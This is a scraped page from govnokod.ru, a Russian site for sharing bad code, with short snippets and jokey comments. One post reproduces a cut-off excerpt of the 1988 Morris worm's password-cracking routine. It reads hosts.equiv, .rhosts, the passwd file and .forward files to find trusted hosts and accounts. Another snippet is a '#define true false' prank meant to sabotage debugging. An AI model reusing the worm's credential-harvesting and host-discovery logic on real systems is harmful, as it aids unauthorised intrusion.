- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
#include <iostream>
#include <conio.h>
#define true false // Wish you happy debug!
int main(int argc, char* argv[])
{
std::cout << (((1+1)==2) ? true : false);
getch();
return 0;
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+139
#include <iostream>
#include <conio.h>
#define true false // Wish you happy debug!
int main(int argc, char* argv[])
{
std::cout << (((1+1)==2) ? true : false);
getch();
return 0;
}
Wish you happy debug!
+72
String displayName = report.getDisplayName();
displayName.replace(
this.periodStartDateParamName,
this.getPeriodStartDateStr() );
displayName.replace(
this.getPeriodEndDateParamName(),
this.getPeriodEndDateStr() );
report.setDisplayName( displayName );
Имитация бурной деятельности по замене подстрок.
+113
for (int i = 0; i < retries; i++)
{
if ((GetProductVersioningProvider() as IQueueProductVersion).IsVersionCommitted(version))
{
return true;
}
else
{
Thread.Sleep(checkDelay);
}
}
Классика жанра же.
+63
public class ExtendFSDirectoryProvider {
// skipped
@Override
public boolean equals(Object obj) {
if (obj == this) {
return true;
}
if (obj == null || !(obj instanceof FSDirectoryProvider)) {
return false;
}
return indexName.equals(((ExtendFSDirectoryProvider) obj).indexName);
}
}
Даже неважно, что автор делает лишнюю проверку на null - в instanceof указан другой класс! Копипаста детектед.
+962
if (result != "")
{
Response.Write(result);
}
else
{
Response.Write("");
}
Поддерживаю проект от других разработчиков. Хз что тут имелось ввиду.
+72
private static Map<String, Connection> cachedConns =
Collections.synchronizedMap(new HashMap<String, Connection>(0xA)
{
private static final long serialVersionUID = 7466291025126853439L;
@Override
protected void finalize() throws Throwable
{
super.finalize();
for (Connection aConn : this.values())
{
if (!aConn.isClosed())
{
aConn.close();
}
}
}
});
Плохо настроенный WebLogic не возвращает подключения СУБД обратно в пул.
Из-за говно-админа и мне ничего больше в голову не могло прийти...
+158
$forms = array(
array('копейка', 'копейки', 'копеек', 1), // 10^-2
array('гривна', 'гривны', 'гривень', 0), // 10^ 0
array('тысяча', 'тысячи', 'тысяч', 1), // 10^ 3
array('миллион', 'миллиона', 'миллионов', 0), // 10^ 6
array('миллиард', 'миллиарда', 'миллиардов', 0), // 10^ 9
array('триллион', 'триллиона', 'триллионов', 0), // 10^12
);
$out = $tmp = array();
// Поехали!
$tmp = explode('.', str_replace(',','.', $inn));
$rub = number_format($tmp[ 0], 0,'','-');
if ($rub== 0) $out[] = $nol;
// нормализация копеек
$kop = isset($tmp[1]) ? substr(str_pad($tmp[1], 2, '0', STR_PAD_RIGHT), 0,2) : '00';
$segments = explode('-', $rub);
$offset = sizeof($segments);
if ((int)$rub== 0) { // если 0 рублей
$o[] = $nol;
$o[] = '';//$this->morph( 0, $forms[1][ 0],$forms[1][1],$forms[1][2]);
}
поехавшие индусы ворочают триллионами
+152
function sendForm() {
var checksrole = document.getElementsByName("role");
var i = 0, f = 0;
while (f == 0 && i < checksrole.length) {
if (checksrole[i].checked == true) {
f = 1;
}
i++;
}
if (f == 0) {
WindowUtils.popUpDialog("Пожалуйста, выберите роль пользователя", "WARN");
return false;
}
return true;
}
Автор не догадывается о существовании типа boolean, о говорящих именах функций, о досрочном выходе из цикла и о возможностях используемых фреймворков (на странице использованы одновременно YUI - для вывода окна сообщения и Prototype - для отправки AJAX-запроса).
+992
/* Dover */
#include "worm.h"
#include <stdio.h>
#include <ctype.h>
#include <strings.h>
#include <pwd.h>
int cmode;
extern struct hst *h_name2host();
struct usr { /* sizeof(usr) == 58 */
char *name, *o4, *o8, *o12;
char passwd[14]; /* offset 16 */
char decoded_passwd[14]; /* 30 */
short pad;
char *homedir; /* offset 46 */
char *gecos; /* offset 50 */
struct usr *next; /* offset 54 */
};
/* Ahhh, I just love these names. Don't change them for anything. */
static struct usr *x27f28, *x27f2c;
/* Crack some passwords. */
cracksome()
{
switch (cmode){
case 0:
strat_0();
return; /* 88 */
case 1:
strat_1();
return;
case 2:
try_words();
return;
case 3:
dict_words();
return;
}
}
/* Strategy 0, look through /etc/hosts.equiv, and /.rhost for new hosts */
strat_0() /* 0x5da4 */
{
FILE *hosteq;
char scanbuf[512];
char fwd_buf[256];
char *fwd_host;
char getbuf[256];
struct passwd *pwent;
char local[20];
struct usr *user;
struct hst *host; /* 1048 */
int check_other_cnt; /* 1052 */
static struct usr *user_list = NULL;
hosteq = fopen(XS("/etc/hosts.equiv"), XS("r"));
if (hosteq != NULL) { /* 292 */
while (fscanf(hosteq, XS("%.100s"), scanbuf)) {
host = h_name2host(scanbuf, 0);
if (host == 0) {
host = h_name2host(scanbuf, 1);
getaddrs(host);
}
if (host->o48[0] == 0) /* 158 */
continue;
host->flag |= 8;
}
fclose(hosteq); /* 280 */
}
hosteq = fopen(XS("/.rhosts"), XS("r"));
if (hosteq != NULL) { /* 516 */
while (fgets(getbuf, sizeof(getbuf), hosteq)) { /* 344,504 */
if (sscanf(getbuf, XS("%s"), scanbuf) != 1)
continue;
host = h_name2host(scanbuf, 0);
while (host == 0) { /* 436, 474 */
host = h_name2host(scanbuf, 1);
getaddrs(host);
}
if (host->o48[0] == 0)
continue;
host->flag |= 8;
}
fclose(hosteq);
}
/* look through the passwd file, checking for contact with others every
* tenth entry. */
setpwent();
check_other_cnt = 0; /* 522 */
while ((pwent = getpwent()) != 0) { /* 526, 1124 */
if ((check_other_cnt % 10) == 0)
other_sleep(0);
check_other_cnt++;
sprintf(fwd_buf, XS("%.200s/.forward"), pwent->pw_dir);
hosteq = fopen(fwd_buf, XS("r"));...
+1000
template<class THTTPServerSettings_>
class TSettingsApplyer: public TAbstractSettingsApplyer
{
private:
enum
{
RESPONSE_BUFFER_SIZE=THTTPServerSettings_::ResponseBufferSize>THTTPServerSettings_::FullBufferedResponseSize?THTTPServerSettings_::ResponseBufferSize:THTTPServerSettings_::FullBufferedResponseSize
};
char _requestBuffer[THTTPServerSettings_::RequestBufferSize];
char _responseBuffer[RESPONSE_BUFFER_SIZE];
char _requestHeaderBuffer[THTTPServerSettings_::RequestHeaderBufferSize];
char _responseHeaderBuffer[THTTPServerSettings_::ResponseHeaderBufferSize];
public:
TSettingsApplyer(void);
virtual void* const GetRequestBuffer(void) const;
virtual void* const GetRequestHeaderBuffer(void) const;
virtual void* const GetResponseBuffer(void) const;
virtual void* const GetResponseHeaderBuffer(void) const;
virtual const size_t GetPort(void) const;
virtual const size_t GetRequestBufferSize(void) const;
virtual const size_t GetRequestHeaderBufferSize(void) const;
virtual const size_t GetResponseBufferSize(void) const;
virtual const size_t GetResponseHeaderBufferSize(void) const;
};
//...
template<class TSettings>
THTTPServer( TSettings settings ):
_SettingsApplyer(*(::new TSettingsApplyer< TSettings >)),